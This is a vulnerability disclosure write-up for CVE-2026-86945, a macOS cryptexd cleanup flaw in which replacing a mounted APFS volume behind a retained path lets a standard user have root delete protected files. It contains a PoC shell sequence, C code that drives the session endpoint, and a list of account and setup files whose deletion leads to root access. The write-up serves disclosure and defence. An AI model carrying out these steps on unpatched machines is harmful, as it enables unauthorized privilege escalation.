CVE-2026-86945

One path, two filesystems: from cryptexd cleanup to root

A root daemon retained a pathname while the mounted filesystem changed underneath it. A standard user turned session cleanup into protected-file deletion and verified local privilege escalation.

Share

Share this article

X LinkedIn Email

The saved pathname stays the same; replacing the mounted filesystem changes the target resolved during cleanup.
The saved pathname stays the same; replacing the mounted filesystem changes the target resolved during cleanup.
On this page

The pathname never changed. The filesystem underneath it did.

The question at the heart of this bug was:

If a root daemon stores a pathname now and uses it again later, what proves that it still names the same filesystem object?

In this case, nothing did.

A standard non-admin user could create an ordinary cryptex session with a chosen home-directory path. Root cryptexd created the directory and retained its path as a string. During cleanup, the daemon resolved that string again and asked NSFileManager to remove the object it named at that moment.

By replacing the mounted filesystem behind the same /Volumes/... pathname, we made the retained string traverse a protected parent and resolve to a protected target. The result was an attacker-selected root file-deletion primitive. We then converted that primitive into a complete local privilege escalation: a standard user caused cryptexd to remove local account state and setup-completion markers, created a new administrator through Setup Assistant, and authenticated to a fresh sudo command that returned UID 0.

Apple assigned the issue CVE-2026-86945. It was fixed in macOS Golden Gate 27.2, macOS Tahoe 26.7.2, and macOS Sequoia 15.8.2.

At a glance

Detail Finding
Component libcryptex / /usr/libexec/cryptexd
Tested vulnerable build macOS 27.0 beta 7 build 26A5421a on Apple silicon
Attacker Standard non-admin local user in a foreground GUI session
Primitive Attacker-selected deletion performed by root cryptexd
Demonstrated impact Standard user to administrator to password-authenticated UID 0
System state SIP enabled, empty boot arguments
Public CVSS 3.1 CISA ADP: 7.1 High
Fixed releases Golden Gate 27.2, Tahoe 26.7.2, Sequoia 15.8.2

Apple's public advisory describes the impact as a malicious application being able to create files in protected directories. Our submitted proof demonstrated a different concrete endpoint: root deletion and a complete local privilege escalation. Apple's advisory credits Andrey Chernykh (BypassLabs.AI) and an anonymous researcher.

Why cryptexd was interesting

cryptexd is a root service responsible for cryptex lifecycle operations. The important detail for this bug was that not every session required the private administrative-session entitlement.

The ordinary session path accepted a serialized session description from the client. One field was the session home directory. In the vulnerable build, the ordinary branch reached session_list_elem_add without taking the private admin entitlement path:

text
0x10001bd38  cryptex_session_core_create_from_xpc
0x10001bd40  cryptex_session_core_get_admin_user
0x10001bd44  cbz      w0, ordinary_session
...
0x10001bd88  session_list_elem_add

The private entitlement check existed, but only for the administrative-user branch:

text
"com.apple.private.security.cryptex.session.admin"
0x10001be58  proc_entitled

That gave us a real production entry point from a standard user. The next question was not whether the service was reachable. It was what authority the root process would later apply to client-controlled state.

Finding the broken lifetime

We traced the home path through two separate phases.

During session creation, cryptexd checked the caller-selected path, created it, changed its ownership, and stored it in the session's user specification:

text
0x100015d40  fileExistsAtPath:
0x100015d90  mkdir
0x100015e24  chown
0x100015ed4  setHomedir:

During session cleanup, command 2 reached -[CryptexSession sessionDeleteWithCleanup]. The deletion code copied the stored home string, checked the newly resolved path, and passed that same string to NSFileManager:

text
0x100012414  xpc_dictionary_get_int64
0x100012434  cmp      command, #2
0x100012608  sessionDeleteWithCleanup

0x1000178a4  homedir
0x1000178b0  copy
0x100017cbc  fileExistsAtPath:
0x100017dc0  removeItemAtPath:error:

Reconstructed as pseudocode, the vulnerable design looked roughly like this:

objective-c
// Activation, running as root.
if (![fm fileExistsAtPath:clientPath]) {
    mkdir(clientPath, 0777);
}
chown(clientPath, /* session ownership */);
userSpec.homedir = [clientPath copy];       // Retains text, not identity.

// Later, during cleanup, still running as root.
NSString *home = [session.homedir copy];
if ([fm fileExistsAtPath:home]) {
    [fm removeItemAtPath:home error:&error];
}

The missing invariant was object identity. There was no retained directory descriptor, device/inode comparison, descriptor-relative traversal, rejection of replaced intermediate components, or confinement check between creation and removal.

The daemon remembered where the object had been, not which object it had created.

The trigger: keep the path, replace the filesystem

The final trigger used two user-owned APFS images with the same volume name.

During activation, image A was mounted at a path such as:

text
/Volumes/CryptexDeleteFixture

The selected cryptex home was:

text
/Volumes/CryptexDeleteFixture/live/target

On image A, live was a normal directory. Root cryptexd created and initialized target, then retained the full pathname.

After activation, the standard user detached image A. Image B was then attached with the same volume name, so it occupied the same lexical mountpoint. On image B, live was a symbolic link to the parent of a protected target.

text
Activation view, image A:

  /Volumes/CryptexDeleteFixture/live/target
                                  ^ real directory created by cryptexd

Cleanup view, image B:

  /Volumes/CryptexDeleteFixture/live -> /private/var/tmp/cryptex-root-delete-fixture
  /Volumes/CryptexDeleteFixture/live/target
                                  ^ now resolves to the protected target

The text stored by cryptexd never changed. Its meaning did.

The essential PoC sequence was:

sh
# Build image A, used for session activation.
hdiutil create -size 32m -fs APFS -volname "$VOLUME" -type SPARSE \
    activation.sparseimage

# Build image B. Its live component points at the protected parent.
ln -s "$TARGET_PARENT" stage/live
hdiutil create -srcfolder stage -fs APFS -volname "$VOLUME" \
    -format UDRW cleanup.dmg

# 1. Attach image A and activate the session.
# 2. Wait until the session reports activation_ready=YES.
# 3. Detach image A.
# 4. Attach image B under the same /Volumes/$VOLUME pathname.
# 5. Send the ordinary session cleanup command.

This was not a narrow race won by timing luck. The client held the session open, waited for a positive activation response, changed the mounted object, and then explicitly requested cleanup.

Talking to the ordinary session endpoint

The client used Apple's installed cryptex libraries and their production session protocol. It loaded the required entry points from libcryptex_core.dylib and libcryptex_interface.dylib, created an ordinary session core, and set the chosen home path:

c
void *core = session_core_create(1);
cryptex_session_core_set_homedir(core, chosen_home);
xpc_object_t object = cryptex_session_core_copy_xpc_object(core);

void *actor = cryptex_subsystem_create_actor(cryptex_subsystem_session);
cryptex_actor_connect(actor, 0);
session_activate_pack(&object, request);
cryptex_actor_trap(actor, request, reply);

The activation reply returned a per-session XPC endpoint. Once the mounted path had been rebound, cleanup required only the normal command handled by that endpoint:

c
xpc_object_t request = xpc_dictionary_create_empty();
xpc_dictionary_set_int64(request, "COMMAND", 2);

xpc_object_t reply = xpc_connection_send_message_with_reply_sync(
    connection, request);

No administrative-session entitlement was added to the client. The full proof ran directly from a foreground standard-user Terminal, with no sudo, sudo -u, SSH, or root-originated launcher.

Proving the primitive safely

Before touching account state, we reduced the issue to one disposable root-owned file.

An administrator created a mode-0600, UID-0 fixture solely for the safe test. The actual attack process ran as the standard user. Its direct deletion failed:

text
direct_delete_status=1
rm: ... Permission denied

The PoC then activated the cryptex session, performed the APFS rebind, and requested cleanup. fs_usage attributed the final operation to cryptexd:

text
stat64  /private/var/tmp/cryptex-root-delete-fixture/target  cryptexd
unlink  /private/var/tmp/cryptex-root-delete-fixture/target  cryptexd

The verifier observed:

text
RESULT: ROOT_CLEANUP_REQUEST_COMPLETED
fixture_after=ABSENT
RESULT: ROOT_DELETE_CONFIRMED

That established the security primitive without relying on a crash, a log message, or client-side assumptions: the caller could not delete the object, and the root daemon deleted the exact object after only the pathname relation changed.

Turning root deletion into root access

An attacker-selected root deletion is already a serious integrity failure. We also wanted to prove its real privilege ceiling.

The full chain targeted local identity state on a disposable VM:

text
/private/var/db/dslocal/nodes/Default/users/<local-user>.plist
/private/var/db/.AppleSetupDone
/private/var/db/.RunLanguageChooserToo

The PoC first activated every cryptex session while the original account state was still intact. It then rebound each retained home pathname and requested cleanup. The vulnerable daemon removed the targets as root:

text
unlink /private/var/db/dslocal/nodes/Default/users/asbvictim.plist  cryptexd
unlink /private/var/db/dslocal/nodes/Default/users/jack.plist       cryptexd
unlink /private/var/db/.AppleSetupDone                              cryptexd
unlink /private/var/db/.RunLanguageChooserToo                       cryptexd

After a normal logout, macOS no longer considered initial setup complete. The stock Setup Assistant appeared and allowed creation of a new administrator account named d27admin.

The final endpoint was not inferred from group files. We authenticated with the new account's password and ran a fresh command:

text
$ id
uid=501(d27admin) ... groups=...,80(admin),...

$ sudo -k id -u
Password:
0

$ sudo -k id
uid=0(root) gid=0(wheel) ...

That is the demonstrated local privilege escalation: standard non-admin user to a password-authenticated UID-0 command.

Why SIP and normal file permissions did not stop it

File permissions worked exactly as expected. The standard user could not delete the targets directly.

SIP was enabled, but the selected identity and setup files lived on the writable data volume and were being removed by a legitimate root daemon. This was not a direct bypass of rm, SIP, or Open Directory permissions. It was a confused-deputy failure: cryptexd applied its own authority to a pathname whose identity was no longer bound to the object it had created.

What changed in the fixed build

Apple's public description says the issue was addressed with improved checks. A bounded comparison against installed macOS 27.2 build 26B5112a, from a release line Apple lists as fixed, shows a structural change in cleanup.

In this build, -[CryptexSession sessionDeleteWithCleanup] no longer directly copies the session object's stored homedir and immediately passes it to removeItemAtPath:error:. It now calls _copy_homedir_for_user, which looks up a UserSpec by UID under the shared manager's lock, and routes deletion through a larger _delete_user_and_homedir path.

The installed binary shows a changed cleanup structure, and Apple's advisory identifies the release as fixed. Apple has not published the source-level validation details.

Lessons for privileged service design

This bug is a compact example of several rules that apply far beyond cryptexes:

  1. A path is not an object identity. If a privileged operation spans time, retain an object handle or bind the later operation to device/inode identity.
  2. Validate at consumption, not only admission. A pathname that was safe during creation may resolve somewhere else during cleanup.
  3. Intermediate components matter. Rejecting a final-component symlink is not enough when a parent directory or mount can change.
  4. Cleanup code is security-sensitive. Teardown often runs with broad authority after the original authorization context has been forgotten.

The useful research question was not "what input can crash this daemon?" It was "what attacker-controlled relationship does this root daemon trust across a lifecycle boundary?"

That question led from one retained string to UID 0.

Disclosure notes

We reported the issue to Apple in August 2026 and supplied a standard-user proof and continuous video of the full privilege-escalation chain. Apple credits Andrey Chernykh (BypassLabs.AI) and an anonymous researcher. This updated report adds the detailed cleanup path and a bounded comparison with the installed fixed-build binary.

Remediation

Install a fixed release for your macOS branch, or a later security update:

Use Software Update to install the update. The tested vulnerable builds are documented above; the fixed versions come from Apple’s CVE record.

Disclosure timeline

  1. The initial lead

    Our static-analysis agent identifies the cleanup path in 2 minutes, 13 seconds. Reporting and corrected standard-user testing followed in August.

  2. CVE identifier reserved

    The official CVE record records the reservation of CVE-2026-86945.

  3. Apple ships the fixes

    Golden Gate 27.2, Tahoe 26.7.2 and Sequoia 15.8.2 are released. Apple’s security notes credit Andrey Chernykh (BypassLabs.AI) and an anonymous researcher.

Sources & references

  1. Apple security content: macOS Golden Gate 27.2support.apple.com
  2. Apple security content: macOS Tahoe 26.7.2support.apple.com
  3. Apple security content: macOS Sequoia 15.8.2support.apple.com
  4. CVE-2026-86945 — official recordcve.org
  5. CVE record data — dates and CISA ADP severity assessmentcveawg.mitre.org
  6. Apple Support — update macOSsupport.apple.com
  7. NVD — severity and affected platform entriesnvd.nist.gov
  8. Apple Secure Coding Guide — file operations and symbolic linksdeveloper.apple.com
All researchBack to top